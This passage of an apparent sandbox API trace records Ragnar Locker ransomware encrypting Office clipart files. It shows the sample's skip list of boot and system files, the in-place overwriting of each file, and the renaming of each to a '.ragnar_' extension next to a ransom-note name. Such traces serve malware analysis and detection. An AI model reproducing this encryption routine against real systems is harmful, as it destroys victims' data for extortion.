lpString2="thumbs.db") returned -1 [0088.660] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.660] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.661] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.661] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.661] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.661] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.661] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf")) returned 0x20 [0088.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.661] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8752) returned 1 [0088.661] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.661] GetProcessHeap () returned 0x580000 [0088.661] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.661] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.663] VirtualAlloc (lpAddress=0x0, dwSize=0x2230, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.663] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.663] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.663] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2230, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2230, lpOverlapped=0x0) returned 1 [0088.664] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.664] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2230, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.664] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2230, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2230, lpOverlapped=0x0) returned 1 [0088.664] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2230, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.664] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.664] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.664] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.664] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.665] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.665] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.665] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.665] GetProcessHeap () returned 0x580000 [0088.665] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.665] CloseHandle (hObject=0xf4) returned 1 [0088.665] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" [0088.665] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.ragnar_FD7BD9FC" [0088.665] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.666] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6425c00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6425c00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01154_.WMF", cAlternateFileName="")) returned 1 [0088.666] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.666] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01154_.WMF" | out: lpString1="NA01154_.WMF") returned="NA01154_.WMF" [0088.666] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF") returned=".WMF" [0088.666] lstrcmpiW (lpString1="NA01154_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.666] lstrcmpiW (lpString1="NA01154_.WMF", lpString2="autorun.inf") returned 1 [0088.666] lstrcmpiW (lpString1="NA01154_.WMF", lpString2="boot.ini") returned 1 [0088.666] lstrcmpiW (lpString1="NA01154_.WMF", lpString2="bootfont.bin") returned 1 [0088.666] lstrcmpiW (lpString1="NA01154_.WMF", lpString2="bootsect.bak") returned 1 [0088.666] lstrcmpiW (lpString1="NA01154_.WMF", lpString2="bootmgr") returned 1 [0088.666] lstrcmpiW (lpString1="NA01154_.WMF", lpString2="bootmgr.efi") returned 1 [0088.666] lstrcmpiW (lpString1="NA01154_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.666] lstrcmpiW (lpString1="NA01154_.WMF", lpString2="desktop.ini") returned 1 [0088.666] lstrcmpiW (lpString1="NA01154_.WMF", lpString2="iconcache.db") returned 1 [0088.666] lstrcmpiW (lpString1="NA01154_.WMF", lpString2="ntldr") returned -1 [0088.666] lstrcmpiW (lpString1="NA01154_.WMF", lpString2="ntuser.dat") returned -1 [0088.666] lstrcmpiW (lpString1="NA01154_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.666] lstrcmpiW (lpString1="NA01154_.WMF", lpString2="ntuser.ini") returned -1 [0088.666] lstrcmpiW (lpString1="NA01154_.WMF", lpString2="thumbs.db") returned -1 [0088.666] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.666] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.666] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.666] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.666] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.666] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.666] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf")) returned 0x20 [0088.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.667] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5552) returned 1 [0088.667] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.667] GetProcessHeap () returned 0x580000 [0088.667] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.667] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.669] VirtualAlloc (lpAddress=0x0, dwSize=0x15b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.669] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.669] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.669] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15b0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x15b0, lpOverlapped=0x0) returned 1 [0088.670] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.670] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.670] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x15b0, lpOverlapped=0x0) returned 1 [0088.670] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.670] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.670] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.670] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.670] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.670] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.671] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.671] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.671] GetProcessHeap () returned 0x580000 [0088.671] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.671] CloseHandle (hObject=0xf4) returned 1 [0088.671] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" [0088.671] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.ragnar_FD7BD9FC" [0088.671] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.671] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1858, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01157_.WMF", cAlternateFileName="")) returned 1 [0088.671] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.672] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01157_.WMF" | out: lpString1="NA01157_.WMF") returned="NA01157_.WMF" [0088.672] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF") returned=".WMF" [0088.672] lstrcmpiW (lpString1="NA01157_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.672] lstrcmpiW (lpString1="NA01157_.WMF", lpString2="autorun.inf") returned 1 [0088.672] lstrcmpiW (lpString1="NA01157_.WMF", lpString2="boot.ini") returned 1 [0088.672] lstrcmpiW (lpString1="NA01157_.WMF", lpString2="bootfont.bin") returned 1 [0088.672] lstrcmpiW (lpString1="NA01157_.WMF", lpString2="bootsect.bak") returned 1 [0088.672] lstrcmpiW (lpString1="NA01157_.WMF", lpString2="bootmgr") returned 1 [0088.672] lstrcmpiW (lpString1="NA01157_.WMF", lpString2="bootmgr.efi") returned 1 [0088.672] lstrcmpiW (lpString1="NA01157_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.672] lstrcmpiW (lpString1="NA01157_.WMF", lpString2="desktop.ini") returned 1 [0088.672] lstrcmpiW (lpString1="NA01157_.WMF", lpString2="iconcache.db") returned 1 [0088.672] lstrcmpiW (lpString1="NA01157_.WMF", lpString2="ntldr") returned -1 [0088.672] lstrcmpiW (lpString1="NA01157_.WMF", lpString2="ntuser.dat") returned -1 [0088.672] lstrcmpiW (lpString1="NA01157_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.672] lstrcmpiW (lpString1="NA01157_.WMF", lpString2="ntuser.ini") returned -1 [0088.672] lstrcmpiW (lpString1="NA01157_.WMF", lpString2="thumbs.db") returned -1 [0088.672] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.672] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.672] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.672] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.672] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.672] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.672] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf")) returned 0x20 [0088.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.673] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6232) returned 1 [0088.673] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x184f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.673] GetProcessHeap () returned 0x580000 [0088.673] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.673] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.674] VirtualAlloc (lpAddress=0x0, dwSize=0x1858, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.674] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.674] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.675] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1858, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1858, lpOverlapped=0x0) returned 1 [0088.675] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.675] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1858, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.675] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1858, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1858, lpOverlapped=0x0) returned 1 [0088.676] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1858, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.676] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.676] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1858, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.676] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.676] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.676] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.676] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.676] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.676] GetProcessHeap () returned 0x580000 [0088.676] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.676] CloseHandle (hObject=0xf4) returned 1 [0088.676] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" [0088.676] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.ragnar_FD7BD9FC" [0088.676] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf04c7b00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf04c7b00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01158_.WMF", cAlternateFileName="")) returned 1 [0088.677] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.677] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01158_.WMF" | out: lpString1="NA01158_.WMF") returned="NA01158_.WMF" [0088.677] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF") returned=".WMF" [0088.677] lstrcmpiW (lpString1="NA01158_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.677] lstrcmpiW (lpString1="NA01158_.WMF", lpString2="autorun.inf") returned 1 [0088.677] lstrcmpiW (lpString1="NA01158_.WMF", lpString2="boot.ini") returned 1 [0088.677] lstrcmpiW (lpString1="NA01158_.WMF", lpString2="bootfont.bin") returned 1 [0088.677] lstrcmpiW (lpString1="NA01158_.WMF", lpString2="bootsect.bak") returned 1 [0088.677] lstrcmpiW (lpString1="NA01158_.WMF", lpString2="bootmgr") returned 1 [0088.677] lstrcmpiW (lpString1="NA01158_.WMF", lpString2="bootmgr.efi") returned 1 [0088.677] lstrcmpiW (lpString1="NA01158_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.677] lstrcmpiW (lpString1="NA01158_.WMF", lpString2="desktop.ini") returned 1 [0088.678] lstrcmpiW (lpString1="NA01158_.WMF", lpString2="iconcache.db") returned 1 [0088.678] lstrcmpiW (lpString1="NA01158_.WMF", lpString2="ntldr") returned -1 [0088.678] lstrcmpiW (lpString1="NA01158_.WMF", lpString2="ntuser.dat") returned -1 [0088.678] lstrcmpiW (lpString1="NA01158_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.678] lstrcmpiW (lpString1="NA01158_.WMF", lpString2="ntuser.ini") returned -1 [0088.678] lstrcmpiW (lpString1="NA01158_.WMF", lpString2="thumbs.db") returned -1 [0088.678] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.678] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.678] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.678] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.678] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.678] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.678] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf")) returned 0x20 [0088.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft 